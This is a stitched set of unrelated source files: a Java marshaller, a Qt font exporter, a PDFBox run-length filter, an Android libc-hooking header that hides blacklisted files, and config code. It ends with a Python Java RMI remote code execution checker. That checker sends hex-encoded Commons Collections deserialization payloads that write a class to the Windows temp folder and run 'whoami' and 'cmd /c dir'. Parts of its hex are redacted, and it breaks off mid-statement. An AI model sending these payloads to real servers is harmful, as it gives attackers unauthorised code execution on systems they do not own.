public GcRule clone() {
return (GcRule) super.clone();
}
}
| 1,317 |
19,438 | /*
* Copyright (c) 2021, <NAME> <<EMAIL>>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibPDF/CommonNames.h>
namespace PDF {
#define ENUMERATE(name) FlyString CommonNames::name = #name;
ENUMERATE_COMMON_NAMES(ENUMERATE)
#undef ENUMERATE
}
| 106 |
713 | <filename>client/hotrod-client/src/test/java/org/infinispan/client/hotrod/marshall/EmbeddedTransactionMarshaller.java
package org.infinispan.client.hotrod.marshall;
import java.io.IOException;
import java.util.Date;
import org.infinispan.protostream.MessageMarshaller;
import org.infinispan.query.dsl.embedded.testdomain.hsearch.TransactionHS;
/**
* @author <EMAIL>
* @since 8.2
*/
public class EmbeddedTransactionMarshaller implements MessageMarshaller<TransactionHS> {
@Override
public String getTypeName() {
return "sample_bank_account.Transaction";
}
@Override
public Class<TransactionHS> getJavaClass() {
return TransactionHS.class;
}
@Override
public TransactionHS readFrom(ProtoStreamReader reader) throws IOException {
int id = reader.readInt("id");
String description = reader.readString("description");
int accountId = reader.readInt("accountId");
long date = reader.readLong("date");
double amount = reader.readDouble("amount");
boolean isDebit = reader.readBoolean("isDebit");
boolean isValid = reader.readBoolean("isValid");
TransactionHS transaction = new TransactionHS();
transaction.setId(id);
transaction.setDescription(description);
transaction.setAccountId(accountId);
transaction.setDate(new Date(date));
transaction.setAmount(amount);
transaction.setDebit(isDebit);
transaction.setValid(isValid);
return transaction;
}
@Override
public void writeTo(ProtoStreamWriter writer, TransactionHS transaction) throws IOException {
writer.writeInt("id", transaction.getId());
writer.writeString("description", transaction.getDescription());
writer.writeInt("accountId", transaction.getAccountId());
writer.writeLong("date", transaction.getDate().getTime());
writer.writeDouble("amount", transaction.getAmount());
writer.writeBoolean("isDebit", transaction.isDebit());
writer.writeBoolean("isValid", transaction.isValid());
}
}
| 670 |
316 | <reponame>caodingpeng/fontbuilder
#include "simpleexporter.h"
#include "../fontconfig.h"
SimpleExporter::SimpleExporter(QObject *parent) :
AbstractExporter(parent)
{
setExtension("sfl");
}
bool SimpleExporter::Export(QByteArray &out)
{
const FontConfig* cfg = fontConfig();
int height = metrics().height;
// Font family
out.append(cfg->family().toUtf8()).append('\n');
// Font size
out.append(QString::number(cfg->size()).toUtf8()).append(' ');
// Line height
out.append(QString::number(height).toUtf8()).append('\n');
// Texture filename
out.append(texFilename().toUtf8()).append('\n');
// Number of symbols
out.append(QString::number(symbols().size()).toUtf8()).append('\n');
foreach(const Symbol& c , symbols()) {
// id, x, y, width, height, xoffset, yoffset, xadvance
out.append(QString::number(c.id).toUtf8()).append(' ');
out.append(QString::number(c.placeX).toUtf8()).append(' ');
out.append(QString::number(c.placeY).toUtf8()).append(' ');
out.append(QString::number(c.placeW).toUtf8()).append(' ');
out.append(QString::number(c.placeH).toUtf8()).append(' ');
out.append(QString::number(c.offsetX).toUtf8()).append(' ');
out.append(QString::number(height - c.offsetY).toUtf8()).append(' ');
out.append(QString::number(c.advance).toUtf8()).append(' ');
out.append('\n');
}
QByteArray kernings;
int kerningsCount = 0;
typedef QMap<uint,int>::ConstIterator Kerning;
foreach(const Symbol& c , symbols()) {
for ( Kerning k = c.kerning.begin();k!=c.kerning.end();k++) {
// first, second, amount
kernings.append(QString::number(c.id).toUtf8()).append(' ');
kernings.append(QString::number(k.key()).toUtf8()).append(' ');
kernings.append(QString::number(k.value()).toUtf8()).append(' ');
kernings.append('\n');
++kerningsCount;
}
}
// Number of kernings
out.append(QString::number(kerningsCount).toUtf8()).append('\n');
out.append(kernings);
return true;
}
AbstractExporter* SimpleExporterFactoryFunc (QObject* parent) {
return new SimpleExporter(parent);
}
| 970 |
731 | #!/usr/bin/env python
# Copyright 2015 <NAME>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Bootstraps a new installation by setting up the production environment."""
import os
os.environ['YOURAPPLICATION_SETTINGS'] = '../../settings.cfg'
os.environ['SQLITE_PRODUCTION'] = 'Yes'
from dpxdt.server import db
from dpxdt.server import models
from dpxdt.server import utils
db.create_all()
build = models.Build(name='Primary build')
db.session.add(build)
db.session.commit()
api_key = models.ApiKey(
id=utils.human_uuid(),
secret=utils.password_uuid(),
purpose='Local workers',
superuser=True,
build_id=build.id)
db.session.add(api_key)
db.session.commit()
db.session.flush()
with open('flags.cfg', 'a') as f:
f.write('--release_client_id=%s\n' % api_key.id)
f.write('--release_client_secret=%s\n' % api_key.secret)
| 449 |
460 | //
// Created by beich on 2020/12/28.
//
#pragma once
#include <alog.h>
#include <macros.h>
#include <linker_export.h>
#include <errno.h>
#include <map>
#include <string>
#include <vector>
#define USE_SYSCALL // 标记哪些函数使用syscall,然后在syscall实现中实施拦截
#define STUB_SYMBOL // 标记跳板函数,不实施拦截,在具体目标函数拦截
#define FUN_INTERCEPT // 方法需要拦截,处理对应的黑名单
struct RuntimeBean {
std::string command;
std::string new_command;
std::vector<std::string> parameters;
const char *parameter_blocks;
jsize blocks_size;
jsize new_parameter_size;
// 输入需要以 \n 结束
std::string input_stream;
std::string output_stream;
std::string error_stream;
bool match_parameter;
bool replace_command;
bool replace_parameter;
bool replace_input;
bool replace_output;
bool replace_error;
};
class FXHandler {
public:
static bool SymbolIsBlacklisted(const char *symbol);
static bool FileNameIsBlacklisted(const char *path);
static bool ClassNameBlacklisted(const char *class_name);
static bool StackClassNameBlacklisted(const char *class_name);
static char *EnvironmentReplace(const char *name, char *value);
static char **GetEnviron();
static bool PropertyIsBlacklisted(const char *name);
static const char *PropertyReplace(const char *name, const char *value);
static void *FindLibcSymbolRealAddress(const char *name);
static bool RuntimeReplaceCommandArgv(RuntimeBean *bean, const char **new_command, const char **new_argv, jsize *block_size, jsize *new_argc);
static bool RuntimeReplaceStream(RuntimeBean *bean, int fds[3]);
static RuntimeBean *FindRuntimeBean(const char *cmd, const char **argv, int argc);
static std::vector<RuntimeBean> &GetRuntimeCmd(const char *cmd);
static FXHandler *Get();
private:
FXHandler() {};
~FXHandler() {};
public:
// Android 7以上是soinfo handle, 否者是soinfo自身
void *libc_handle;
void *libc_soinfo;
void *self_soinfo;
const char *cache_dir;
const char *config_dir;
const char *process_name;
void *fake_linker_soinfo;
public:
std::map<std::string, int> maps_rules;
std::map<std::string, int> file_blacklist;
std::map<std::string, int> file_path_blacklist;
std::map<std::string, int> symbol_blacklist;
std::map<std::string, std::string> properties;
std::map<std::string, std::pair<std::string, std::string>> environments;
std::map<std::string, std::string> load_class_blacklist;
std::map<std::string, std::string> static_class_blacklist;
int pid;
int api;
private:
std::map<std::string, std::vector<RuntimeBean>> runtime_blacklist;
static FXHandler *instance_;
DISALLOW_COPY_AND_ASSIGN(FXHandler);
};
#define HOOK_DEF(ret, func, ...) \
static ret (*orig_##func)(__VA_ARGS__); \
C_API ret (*get_orig_##func(void))(__VA_ARGS__){ \
if(!orig_##func){ \
orig_##func = reinterpret_cast<ret (*)(__VA_ARGS__)>(FXHandler::FindLibcSymbolRealAddress(#func)); \
CHECK(orig_##func); \
} \
return orig_##func; \
} \
C_API API_PUBLIC ret func(__VA_ARGS__)
#define HOOK_DEF_CPP(ret, func, ...) \
static ret (*orig_##func)(__VA_ARGS__); \
extern "C++" ret (*get_orig_##func(void))(__VA_ARGS__){ \
if(!orig_##func){ \
orig_##func = reinterpret_cast<ret (*)(__VA_ARGS__)>(FXHandler::FindLibcSymbolRealAddress(#func)); \
CHECK(orig_##func); \
} \
return orig_##func; \
} \
extern "C++" API_PUBLIC ret func(__VA_ARGS__)
#define HOOK_DECLARE(ret, func, ...) \
C_API ret (*get_orig_##func(void))(__VA_ARGS__); \
C_API API_PUBLIC ret func(__VA_ARGS__)
C_API API_PUBLIC void fake_load_library_init(JNIEnv *env, void *fake_soinfo, const RemoteInvokeInterface *interface, const char *cache_path, const char *config_path,
const char *process_name);
extern const RemoteInvokeInterface *remote;
int force_O_LARGEFILE(int flags);
#define IS_BLACKLIST_FILE(name) \
if (FXHandler::FileNameIsBlacklisted(name)) { \
LOGW("Fake '%s': access blacklist file %s",__FUNCTION__, name); \
errno = ENOENT; \
return -1; \
}
#define IS_BLACKLIST_FILE_RETURN(name, ret) \
if (FXHandler::FileNameIsBlacklisted(name)) { \
LOGW("Fake '%s': access blacklist file %s",__FUNCTION__, name); \
errno = ENOENT; \
return ret; \
}
#define LOGMV(format, ...) LOGV("[Monitor %s] "#format, __FUNCTION__, __VA_ARGS__)
#define LOGMD(format, ...) LOGD("[Monitor %s] "#format, __FUNCTION__, __VA_ARGS__)
#define LOGMI(format, ...) LOGI("[Monitor %s] "#format, __FUNCTION__, __VA_ARGS__)
#define LOGMW(format, ...) LOGW("[Monitor %s] "#format, __FUNCTION__, __VA_ARGS__)
#define LOGME(format, ...) LOGE("[Monitor %s] "#format, __FUNCTION__, __VA_ARGS__)
| 4,099 |
521 | <reponame>bl-core-vitals/ios_sdk<gh_stars>100-1000
//
// NSURLSession+NSURLDataWithRequestMocking.h
// adjust
//
// Created by <NAME> on 25/01/16.
// Copyright © 2016 adjust GmbH. All rights reserved.
//
#import <Foundation/Foundation.h>
typedef enum {
ADJSessionResponseTypeNil = 0,
ADJSessionResponseTypeConnError = 1,
ADJSessionResponseTypeWrongJson = 2,
ADJSessionResponseTypeEmptyJson = 3,
ADJSessionResponseTypeServerError = 4,
ADJSessionResponseTypeMessage = 5,
} ADJSessionResponseType;
@interface NSURLSession(NSURLDataWithRequestMocking)
/* Creates a data task with the given request. The request may have a body stream. */
- (NSURLSessionDataTask *)dataTaskWithRequest:(NSURLRequest *)request
completionHandler:(void (^)(NSData * data, NSURLResponse * response, NSError * error))completionHandler;
+ (void)setResponseType:(ADJSessionResponseType)responseType;
+ (NSURLResponse *)getLastRequest;
+ (void)reset;
+ (void)setTimeoutMock:(BOOL)enable;
+ (void)setWaitingTime:(double)waitingTime;
@end
@interface NSURLSessionDataTask(NSURLResume)
- (void)resume;
@end | 413 |
1,605 | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.pdfbox.filter;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import org.apache.pdfbox.cos.COSDictionary;
/**
* Decompresses data encoded using a byte-oriented run-length encoding algorithm,
* reproducing the original text or binary data
*
* @author <NAME>
* @author <NAME>
*/
final class RunLengthDecodeFilter extends Filter
{
private static final int RUN_LENGTH_EOD = 128;
@Override
public DecodeResult decode(InputStream encoded, OutputStream decoded,
COSDictionary parameters, int index) throws IOException
{
int dupAmount;
byte[] buffer = new byte[128];
while ((dupAmount = encoded.read()) != -1 && dupAmount != RUN_LENGTH_EOD)
{
if (dupAmount <= 127)
{
int amountToCopy = dupAmount + 1;
int compressedRead;
while (amountToCopy > 0)
{
compressedRead = encoded.read(buffer, 0, amountToCopy);
// EOF reached?
if (compressedRead == -1)
{
break;
}
decoded.write(buffer, 0, compressedRead);
amountToCopy -= compressedRead;
}
}
else
{
int dupByte = encoded.read();
// EOF reached?
if (dupByte == -1)
{
break;
}
for (int i = 0; i < 257 - dupAmount; i++)
{
decoded.write(dupByte);
}
}
}
return new DecodeResult(parameters);
}
@Override
protected void encode(InputStream input, OutputStream encoded, COSDictionary parameters)
throws IOException
{
// Not used in PDFBox except for testing the decoder.
int lastVal = -1;
int byt;
int count = 0;
boolean equality = false;
// buffer for "unequal" runs, size between 2 and 128
byte[] buf = new byte[128];
while ((byt = input.read()) != -1)
{
if (lastVal == -1)
{
// first time
lastVal = byt;
count = 1;
}
else
{
if (count == 128)
{
if (equality)
{
// max length of equals
encoded.write(129); // = 257 - 128
encoded.write(lastVal);
}
else
{
// max length of unequals
encoded.write(127);
encoded.write(buf, 0, 128);
}
equality = false;
lastVal = byt;
count = 1;
}
else if (count == 1)
{
if (byt == lastVal)
{
equality = true;
}
else
{
buf[0] = (byte) lastVal;
buf[1] = (byte) byt;
lastVal = byt;
}
count = 2;
}
else
{
// 1 < count < 128
if (byt == lastVal)
{
if (equality)
{
++count;
}
else
{
// write all we got except the last
encoded.write(count - 2);
encoded.write(buf, 0, count - 1);
count = 2;
equality = true;
}
}
else
{
if (equality)
{
// equality ends here
encoded.write(257 - count);
encoded.write(lastVal);
equality = false;
count = 1;
}
else
{
buf[count] = (byte) byt;
++count;
}
lastVal = byt;
}
}
}
}
if (count > 0)
{
if (count == 1)
{
encoded.write(0);
encoded.write(lastVal);
}
else if (equality)
{
encoded.write(257 - count);
encoded.write(lastVal);
}
else
{
encoded.write(count - 1);
encoded.write(buf, 0, count);
}
}
encoded.write(RUN_LENGTH_EOD);
}
}
| 3,593 |
513 | package com.github.gotify.messages.provider;
import com.github.gotify.api.Api;
import com.github.gotify.api.ApiException;
import com.github.gotify.api.Callback;
import com.github.gotify.client.api.MessageApi;
import com.github.gotify.client.model.Message;
import com.github.gotify.client.model.PagedMessages;
import com.github.gotify.log.Log;
class MessageRequester {
private static final Integer LIMIT = 100;
private MessageApi messageApi;
MessageRequester(MessageApi messageApi) {
this.messageApi = messageApi;
}
PagedMessages loadMore(MessageState state) {
try {
Log.i("Loading more messages for " + state.appId);
if (MessageState.ALL_MESSAGES == state.appId) {
return Api.execute(messageApi.getMessages(LIMIT, state.nextSince));
} else {
return Api.execute(messageApi.getAppMessages(state.appId, LIMIT, state.nextSince));
}
} catch (ApiException apiException) {
Log.e("failed requesting messages", apiException);
return null;
}
}
void asyncRemoveMessage(Message message) {
Log.i("Removing message with id " + message.getId());
messageApi.deleteMessage(message.getId()).enqueue(Callback.call());
}
boolean deleteAll(Long appId) {
try {
Log.i("Deleting all messages for " + appId);
if (MessageState.ALL_MESSAGES == appId) {
Api.execute(messageApi.deleteMessages());
} else {
Api.execute(messageApi.deleteAppMessages(appId));
}
return true;
} catch (ApiException e) {
Log.e("Could not delete messages", e);
return false;
}
}
}
| 780 |
594 | int main ()
{
long double x, y;
x = 0x1.fffffffffffff8p1022L;
x *= 2;
y = 0x1.fffffffffffff8p1023L;
if (memcmp (&x, &y, sizeof (x)) != 0)
abort ();
exit (0);
}
| 90 |
892 | <reponame>westonsteimel/advisory-database-github
{
"schema_version": "1.2.0",
"id": "GHSA-qw4x-8f78-c38x",
"modified": "2022-05-01T18:39:09Z",
"published": "2022-05-01T18:39:09Z",
"aliases": [
"CVE-2007-6053"
],
"details": "IBM DB2 UDB 9.1 before Fixpak 4 does not properly handle use of large numbers of file descriptors, which might allow attackers to have an unknown impact involving \"memory corruption.\" NOTE: the vendor description of this issue is too vague to be certain that it is security-related.",
"severity": [
],
"affected": [
],
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6053"
},
{
"type": "WEB",
"url": "http://www-1.ibm.com/support/docview.wss?uid=swg1IZ04039"
},
{
"type": "WEB",
"url": "http://www-1.ibm.com/support/docview.wss?uid=swg21255607"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/26450"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/3867"
}
],
"database_specific": {
"cwe_ids": [
],
"severity": "HIGH",
"github_reviewed": false
}
} | 545 |
457 | /**
* Copyright 2020 OPSLI 快速开发平台 https://www.opsli.com
* <p>
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
* <p>
* http://www.apache.org/licenses/LICENSE-2.0
* <p>
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package org.opsli.plugins.redisson.conf;
import lombok.extern.slf4j.Slf4j;
import org.opsli.plugins.redisson.RedissonLock;
import org.opsli.plugins.redisson.RedissonManager;
import org.opsli.plugins.redisson.properties.RedissonProperties;
import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
import org.springframework.boot.context.properties.EnableConfigurationProperties;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.annotation.Order;
/**
* Redisson自动化配置
*
* @author Parker
* @date 2019/6/19 下午11:55
*/
@Slf4j
@Configuration
@EnableConfigurationProperties(RedissonProperties.class)
@ConditionalOnProperty(prefix = RedissonProperties.PROP_PREFIX, name = "enable", havingValue = "true")
public class RedissonConfig {
@Bean
@ConditionalOnMissingBean
@Order(value = 2)
public RedissonLock redissonLock(RedissonManager redissonManager) {
RedissonLock redissonLock = new RedissonLock(redissonManager);
log.info("[RedissonLock]组装完毕");
return redissonLock;
}
@Bean
@ConditionalOnMissingBean
@Order(value = 1)
public RedissonManager redissonManager(RedissonProperties redissonProperties) {
RedissonManager redissonManager =
new RedissonManager(redissonProperties);
log.info("[RedissonManager]组装完毕,当前连接方式:" + redissonProperties.getType().getDesc() +
",连接地址:" + redissonProperties.getAddress());
return redissonManager;
}
}
| 790 |
3,301 | <reponame>starburst-project/Alink
package com.alibaba.alink.common.linalg.tensor;
import org.apache.flink.annotation.Internal;
import org.tensorflow.ndarray.BooleanNdArray;
import org.tensorflow.ndarray.ByteNdArray;
import org.tensorflow.ndarray.DoubleNdArray;
import org.tensorflow.ndarray.FloatNdArray;
import org.tensorflow.ndarray.IntNdArray;
import org.tensorflow.ndarray.LongNdArray;
import org.tensorflow.ndarray.NdArray;
/**
* This class is only for internal usage, which provides access for some protected members and methods of {@link Tensor}
* for classes in plugin.
*/
@Internal
public class TensorInternalUtils {
public static <DT> NdArray <DT> getTensorData(Tensor <DT> tensor) {
return tensor.getData();
}
public static FloatTensor createFloatTensor(FloatNdArray array) {
return new FloatTensor(array);
}
public static DoubleTensor createDoubleTensor(DoubleNdArray array) {
return new DoubleTensor(array);
}
public static IntTensor createIntTensor(IntNdArray array) {
return new IntTensor(array);
}
public static LongTensor createLongTensor(LongNdArray array) {
return new LongTensor(array);
}
public static BoolTensor createBoolTensor(BooleanNdArray array) {
return new BoolTensor(array);
}
public static ByteTensor createByteTensor(ByteNdArray array) {
return new ByteTensor(array);
}
public static UByteTensor createUByteTensor(ByteNdArray array) {
return new UByteTensor(array);
}
public static StringTensor createStringTensor(NdArray <String> array) {
return new StringTensor(array);
}
}
| 525 |
351 | #!/usr/bin/env python3
import time
import socket
import binascii
from urllib.parse import urlparse
class Javarmi_Rce_BaseVerify:
def __init__(self, url):
self.info = {
'name': 'Javarmi RCE漏洞',
'description': 'Javarmi RCE漏洞',
'date': '',
'exptype': 'check',
'type': 'RCE'
}
self.url = url
self.timeout = 20
url_parse = urlparse(self.url)
self.host = url_parse.hostname
self.port = url_parse.port
if not self.port:
self.port = '1099'
def check(self):
"""
检测是否存在漏洞
:param:
:return bool True or False: 是否存在漏洞
"""
try:
address = (self.host, int(self.port))
socket.setdefaulttimeout(self.timeout)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(address)
send_packet_first = "4a524d4900024b000c31302e3130312e32322e333900000000"
send_packet_second = "50aced00057722000000000000000000000000000000000000000000000000000044154dc9d4e63bdf7400057077" \
"6e6564737d00000001000f6a6176612e726d692e52656d6f746570787200176a6176612e6c616e672e7265666c65" \
"63742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f49" \
"6e766f636174696f6e48616e646c65723b7078707372003273756e2e7265666c6563742e616e6e6f746174696f6e" \
"2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62" \
"<KEY>" \
"<KEY>" \
"61702e5472616e73666f726d65644d617061773fe05df15a700300024c000e6b65795472616e73666f726d657274" \
"002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b" \
"4c001076616c75655472616e73666f726d657271007e000a707870707372003a6f72672e6170616368652e636f6d" \
"6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c7" \
"97ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f" \
"6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078707572002d5b4c6f72672e617061636865" \
"2e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007078" \
"70000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f" \
"72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7474" \
"00124c6a6176612f6c616e672f4f626a6563743b707870767200186a6176612e696f2e46696c654f757470757453" \
"747265616d00000000000000000000007078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c" \
"656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce38020003" \
"5b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400" \
"124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e" \
"<KEY>" \
"787000000001757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a9902000070787000000001" \
"767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000070787074000e676574436f6e737472" \
"7563746f727571007e001d000000017671007e001d7371007e00167571007e001b00000001757200135b4c6a6176" \
"612e6c616e672e537472696e673badd256e7e91d7b4702000070787000000001740023633a2f77696e646f77732f" \
"74656d702f4572726f7242617365457865632e636c61737374000b6e6577496e7374616e63657571007e001d0000" \
"00017671007e001b7371007e00167571007e001b00000001757200025b42acf317f8060854e00200007078700000" \
"0624cafebabe0000003200650a002000350700360700370a000300380a0002003907003a0a000600350a0002003b" \
"0a0006003c08003d0a0006003e0a003f00400a003f00410a004200430a001f00440700450700460a001100350800" \
"470a001100480a0011003e0a001000490a0010003e08004a0a001a004b07004c0a001a004908004d08004e0a001f" \
"004f0700500700510100063c696e69743e010003282956010004436f646501000f4c696e654e756d626572546162" \
"6c65010009726561644279746573010029284c6a6176612f696f2f496e70757453747265616d3b294c6a6176612f" \
"6c616e672f537472696e673b01000d537461636b4d61705461626c6507003607003a07004c01000a457863657074" \
"696f6e73070052010007646f5f65786563010015284c6a6176612f6c616e672f537472696e673b29560700450700" \
"450100046d61696e010016285b4c6a6176612f6c616e672f537472696e673b295601000a536f7572636546696c65" \
"0100124572726f7242617365457865632e6a6176610c002100220100166a6176612f696f2f427566666572656452" \
"65616465720100196a6176612f696f2f496e70757453747265616d5265616465720c002100530c00210054010016" \
"6a6176612f6c616e672f537472696e674275666665720c005500560c005700580100010a0c0059005607005a0c00" \
"5b005c0c005d005e07005f0c006000610c002500260100136a6176612f6c616e672f457863657074696f6e010017" \
"6a6176612f6c616e672f537472696e674275696c646572010005383838383a0c005700620c0021002e0100043838" \
"38380c006300640100106a6176612f6c616e672f537472696e670100020d0a01000a636d64202f63206469720c00" \
"2d002e01000d4572726f7242617365457865630100106a6176612f6c616e672f4f626a6563740100136a6176612f" \
"696f2f494f457863657074696f6e010018284c6a6176612f696f2f496e70757453747265616d3b2956010013284c" \
"6a6176612f696f2f5265616465723b2956010008726561644c696e6501001428294c6a6176612f6c616e672f5374" \
"72696e673b010006617070656e6401002c284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e" \
"672f537472696e674275666665723b010008746f537472696e670100116a6176612f6c616e672f52756e74696d65" \
"01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b010004657865630100" \
"27284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176" \
"612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f49" \
"6e70757453747265616d3b01002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f53" \
"7472696e674275696c6465723b010007696e6465784f66010015284c6a6176612f6c616e672f537472696e673b29" \
"490021001f0020000000000004000100210022000100230000001d00010001000000052ab70001b1000000010024" \
"00000006000100000003000900250026000200230000007b0005000500000038bb000259bb0003592ab70004b700" \
"054cbb000659b700074d2bb60008594ec600112c2db60009120ab6000957a7ffec2cb6000b3a041904b000000002" \
"00240000001a00060000000600100007001800090021000a002f000d0035000e0027000000110002fd0018070028" \
"070029fc001607002a002b000000040001002c0009002d002e00020023000000af0006000300000065b8000c2ab6" \
"000d4c2bb6000eb8000f4dbb001059bb001159b700121213b600142cb60014b60015b70016bf4c2bb600171218b6" \
"001902a400052bbfbb001059bb001159b700121213b60014bb001a592bb60017b7001bb60014121cb60014b60015" \
"b70016bf00010000002b002b0010000200240000001e0007000000130008001400100015002b0018002c001a0039" \
"001c003b001f00270000000c00026b07002ffc000f070030002b000000040001001000090031003200020023000" \
"000220001000100000006121db8001eb10000000100240000000a00020000002600050027002b00000004000100" \
"100001003300000002003474000577726974657571007e001d000000017671007e002e737200116a6176612e757" \
"4696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c" \
"647078703f4000000000000c7708000000100000000174000576616c756571007e003578787672001b6a6176612" \
"e6c616e672e616e6e6f746174696f6e2e5461726765740000000000000000000000707870"
send_packet_third = "50aced00057722000000000000000000000000000000000000000000000000000044" \
"154dc9d4e63bdf74000570776e6564737d00000001000f6a6176612e726d692e526" \
"56d6f746570787200176a6176612e6c616e672e7265666c6563742e50726f7879e12" \
"7da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742" \
"f496e766f636174696f6e48616e646c65723b7078707372003273756e2e7265666c65637" \
"42e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646" \
"c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f" \
"<KEY>" \
"0737200316f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d6170" \
"2e5472616e73666f726d65644d617061773fe05df15a700300024c000e6b65795472616e73666f7" \
"26d657274002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472" \
"616e73666f726d65723b4c001076616c75655472616e73666f726d657271007e000a707870707372003a" \
"6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e4368" \
"61696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d657273" \
"74002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e7366" \
"<KEY>" \
"<KEY>" \
"<KEY>" \
"e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c00" \
"0969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b707870767200176a61766" \
"12e6e65742e55524c436c6173734c6f6164657200000000000000000000007078707372003a6f72672e61" \
"70616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b6572547" \
"2616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4" \
"f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b" \
"<KEY>" \
"12e6c616e672e4f626a6563743b90ce589f1073296c02000070787000000001757200125b4c6a6176612e6c616" \
"e672e436c6173733bab16d7aecbcd5a99020000707870000000017672000f5b4c6a6176612e6e65742e55524c3b" \
"5251fd24c51b68cd02000070787074000e676574436f6e7374727563746f727571007e001d000000017671007e" \
"001d7371007e00167571007e001b000000017571007e001b000000017571007e001f000000017372000c6a617661" \
"2e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726" \
"9747971007e00184c000466696c6571007e00184c0004686f737471007e00184c000870726f746f636f6c71007e001" \
"84c000372656671007e0018707870ffffffffffffffff707400112f633a2f77696e646f77732f74656d702f74000074" \
"000466696c65707874000b6e6577496e7374616e63657571007e001d000000017671007e001b7371007e0016757100" \
"7e001b0000000174000d4572726f7242617365457865637400096c6f6164436c6173737571007e001d00000001767" \
"200106a6176612e6c616e672e537472696e67a0f0a4387a3bb3420200007078707371007e00167571007e001b00000" \
"002740007646f5f657865637571007e001d0000000171007e00367400096765744d6574686f647571007e001d0000000" \
"271007e003671007e00237371007e00167571007e001b0000000270757200135b4c6a6176612e6c616e672e53747269" \
"6e673badd256e7e91d7b470200007078700000000174000677686f616d69740006696e766f6b657571007e001d00000" \
"002767200106a6176612e6c616e672e4f626a656374000000000000000000000070787071007e002f73720011" \
"6a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468" \
"726573686f6c647078703f4000000000000c7708000000100000000174000576616c756571007e004878787672001b6" \
"a6176612e6c616e672e616e6e6f746174696f6e2e5461726765740000000000000000000000707870"
send_data_first = binascii.a2b_hex(send_packet_first)
send_data_second = binascii.a2b_hex(send_packet_second)
send_data_third = binascii.a2b_hex(send_packet_third)
sock.send(send_data_first)
time.sleep(1)
sock.send(send_data_second)
time.sleep(1)
sock.send(send_data_third)
packet=sock.recv(10240)
time.sleep(1)
packet1 = sock.recv(10240)
sock.close()
if "8888" in packet1:
print('存在Java RMI rce漏洞')
return False
else:
